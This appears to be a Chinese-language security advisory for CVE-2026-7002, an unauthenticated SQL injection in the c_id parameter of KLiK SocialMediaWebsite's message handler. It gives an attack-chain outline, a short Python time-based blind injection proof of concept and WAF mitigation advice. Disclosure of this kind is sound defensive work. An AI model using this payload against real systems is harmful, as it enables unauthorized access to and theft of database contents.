IPBUF安全漏洞报告
English
CVE-2026-7002 CVSS 7.3 高危

CVE-2026-7002 KLiK SocialMediaWebsite SQL注入漏洞

披露日期: 2026-04-25

漏洞信息

漏洞编号
CVE-2026-7002
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
KLiK SocialMediaWebsite

相关标签

SQL注入Web漏洞KLiK SocialMediaWebsite无需认证

漏洞概述

KLiK SocialMediaWebsite 1.0.1及以下版本在Private Message Handler组件中存在SQL注入漏洞。该漏洞位于/includes/get_message_ajax.php文件,由于对c_id参数处理不当导致。攻击者无需认证即可远程发起攻击,成功利用可能导致数据库信息泄露、数据篡改,影响系统的机密性、完整性和可用性。

技术细节

该漏洞根源在于KLiK SocialMediaWebsite组件Private Message Handler的/includes/get_message_ajax.php文件未对用户输入进行有效的安全过滤。具体而言,程序直接将用户提交的c_id参数拼接到SQL查询语句中执行,导致了经典的SQL注入漏洞。由于漏洞允许远程无认证利用(PR:N),攻击者无需拥有系统账户即可通过网络发起攻击。利用方式通常包括构造布尔盲注、时间盲注或联合查询注入语句。例如,攻击者可以通过发送包含UNION SELECT或逻辑判断语句的c_id值,诱骗数据库返回敏感元数据(如表名、列名)或直接窃取管理员凭证。鉴于CVSS 3.1评分7.3,此漏洞对数据的机密性、完整性和可用性构成实质性威胁。

攻击链分析

STEP 1
侦察
攻击者识别目标运行KLiK SocialMediaWebsite 1.0.1或更早版本,并定位到/includes/get_message_ajax.php接口。
STEP 2
武器化
攻击者构造包含恶意SQL代码的payload,针对c_id参数进行设计,例如使用UNION SELECT或逻辑运算符。
STEP 3
交付
攻击者通过HTTP请求(通常是POST)将恶意数据包发送至目标服务器,无需任何用户交互或身份认证。
STEP 4
利用
后端数据库接收并执行了包含恶意代码的SQL语句,导致查询逻辑被改变。
STEP 5
影响
攻击者成功提取敏感信息(如用户名、密码哈希)或修改数据库内容,破坏数据完整性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL containing the vulnerable endpoint url = "http://target-ip/includes/get_message_ajax.php" # Payload to test for SQL Injection (Time-based blind) # Manipulating the 'c_id' argument to trigger a delay payload = { "c_id": "1' AND SLEEP(5)-- -" } try: response = requests.post(url, data=payload) # Check if the response time indicates successful execution if response.elapsed.total_seconds() >= 5: print("[+] The target is vulnerable to SQL Injection.") else: print("[-] Exploit failed or target patched.") except Exception as e: print(f"Error: {e}")

影响范围

KLiK SocialMediaWebsite <= 1.0.1

防御指南

临时缓解措施
如果无法立即升级,建议在Web应用防火墙(WAF)中部署规则,拦截对/includes/get_message_ajax.php接口的异常请求,特别是检测c_id参数中包含SQL注入特征字符(如单引号、注释符、UNION SELECT等)的流量,并限制该接口的访问来源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表